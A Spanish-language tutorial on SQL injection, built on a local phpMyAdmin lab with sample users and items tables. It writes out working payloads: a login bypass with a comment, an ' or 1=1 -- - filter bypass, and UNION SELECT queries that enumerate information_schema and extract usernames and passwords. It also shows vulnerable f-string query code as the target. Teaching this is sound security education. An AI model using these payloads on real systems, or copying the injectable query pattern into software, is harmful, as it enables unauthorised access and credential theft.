Clase Sql injection

Para el laboratorio de pruebas voy a hacer uso de phpmyadmin que no es mas que una herramienta escrita en php para administrar MySQL. Para ello, comenzaríamos instalando apache2 y php. Haciendo uso de la terminal, introduciríamos lo siguiente:

Primeramente rellenamos la table de users con la siguiente información para poder hacer pruebas:

INSERT INTO `users`(`username`, `password`,`email`) VALUES ("administrator","supersecurepasswd","admin@gmail.com");
INSERT INTO `users`(`username`, `password`,`email`) VALUES ("Cangrejo","Bermejo","cangrejo@gmail.com");
INSERT INTO `users`(`username`, `password`,`email`) VALUES ("DeathChron","Evil","death@gmail.com");
INSERT INTO `users`(`username`, `password`,`email`) VALUES ("Isma","esbuenaladelvasodeagua","noob@gmail.com");

Realizamos a continuación la prueba mediante la visualización de todas las columnas(\*) de la tabla USERS.

SELECT * from USERS;

Tras realizar la sentencia el resultado seria el siguiente:

Si nosotros lo que quisiéramos sería ver toda la información del usuario administrador entonces realizaríamos lo siguiente:

SELECT * FROM `users` WHERE username='administrator'

Esto nos daría como resultado solo el usuario y contraseña del administrador:

Ahora imaginemos que solo quiero devolver el usuario, entonces, ¿ Cómo lo haríamos ?

 SELECT username FROM `users` where username='administrator'

Resultado:

Nuestro objetivo es pasar el login siendo administradores por lo que ¿Por qué no intentar logearnos como administrador ? Para ello, tendríamos que intentar que el servidor nos ejecutara lo siguiente:

 email = db.session.execute(
        f"Select email from users where username ='administrator' -- -' and password = {noseejecuta}"
    ).fetchone()

Tendríamos que poner el usuario con el cual queremos acceder y comentar el resto de código ya que no nos interesa. Gracias al comentario, conseguiríamos que el servidor no provocará un error. En nuestro laboratorio:

Como podemos ver no se muestra ningún error debido a que estamos comentando el resto del código haciendo que no se ejecute. Ahora si lo probamos en el login de la página web:

Conseguiríamos acceder como administradores:

Para crear la tabla, seleccionamos el esquema de base de datos pruebas creado anteriormente y le damos a New. Tras esto, ponemos lo siguiente:

Tras esto, seleccionaríamos la tabla y ejecutaríamos las siguientes sentencias:

INSERT INTO `items`(`name`, `category`,`released`) VALUES ("The lazy dog","Pets",1);
INSERT INTO `items`(`name`, `category`,`released`) VALUES ("Fur Babies","Pets",0);
INSERT INTO `items`(`name`, `category`,`released`) VALUES ("Cheshire Cat Grin","Accessories",1);
INSERT INTO `items`(`name`, `category`,`released`) VALUES ("Hydrated Crackers","Food & drink",1);

Hacemos prueba de que todas las tablas se han ejecutado mediante:

Select * from `items`

Visualizaríamos lo siguiente:

Muchas veces lo que se nos pide es encontrar información oculta que normalmente no deberíamos poder ver. Para ello, se suelen utilizar los operadores or o and. Una vez más, supongamos que tenemos la siguiente página web en donde podemos visualizar productos:

Si pinchamos, por ejemplo, en pets entonces únicamente se nos mostrarían los productos que pertenecen a dicha categoría y si vemos en la url nos aparecería lo siguiente:

Por detrás, la aplicación web estaría haciendo algo como lo siguiente:

category = request.form.get("category")# En nuestro caso esto sería Pets
try:
    items_info_from_category = db.session.execute(
        f"Select * from items where category = '{category}' and released=1"
    ).fetchone()

Si nos vamos a nuestro laboratorio, podemos replicar lo que se esta ejecutando:

    Select * from items where category = 'Pets' and released=1

Se nos mostraría la información relacionada con la categoría seleccionada:

Esto esta bien, pero, ¿Cómo podríamos obtener información que no se nos debería mostrar ?. Supongamos que como usuarios introducimos lo siguiente:

Traducido en la aplicación de ejemplo que hemos puesto, sería lo siguiente:

category = request.form.get("category")# En nuestro caso esto sería Pets
try:
    items_info_from_category = db.session.execute(
        f"Select * from items where category = '{' or 1=1 -- -}' and released = 1"
    ).fetchone()

Que, si nos lo llevamos a nuestro laboratorio, sería lo siguiente:

Se nos vuelca toda la tabla sin introducir ninguna categoría específica, esto es debido a que la consulta nos devuelve o bien una categoría que no existe (’’) o bien 1=1. Como 1=1 es siempre verdadero, entonces siempre nos va a devolver toda la tabla.

Para conseguir información sobre las tablas dentro de una base de datos tenemos que hacer uso de la base de datos information_schema tal y como vemos en nuestro laboratorio:

Como nuestro objetivo es conseguir las tablas tendríamos que hacer la siguiente consulta:

    select * from information_schema.tables;

Y se nos mostraría la siguiente información:

Si vamos al final, podemos visualizar las tablas que hemos ido creando anteriormente:

Luego en el ataque estábamos creando podríamos intentar algo como esto para visualizar las tablas:

Accessories' union select NULL,table_name from information_schema.tables -- -

Se nos mostrarían todas las tablas de la máquina objetivo en donde podemos visualizar una que se llama users_jwqmff (si lo hacéis en caso vuestro nombre puede cambiar sera users_loquesea):

information_schema también cuenta con una tabla para enumerar columnas la cual se llama information_schema.columns. Luego si realizamos la siguiente sentencia en nuestro laboratorio se nos mostrarían todas las columnas disponibles:

    select *  from information_schema.columns

Tras esto se nos mostraría lo siguiente:

Luego si aplicamos esto y insertamos lo siguiente(esto sería en la url):

Accessories' union select NULL,column_name from information_schema.columns where table_name='users_jwqmff'-- -

Como vemos en la siguiente imagen se nos mostrarían las columnas:

Finalmen te conseguir el usuario y contraseña es sencillo, seria hacer una consulta normal con los datos que hemos recogido hasta el momento:

Accessories' union select username_vxyhzg,password_jtgova from users_jwqmff -- -

Consiguiendo de esta manera el usuario administrador: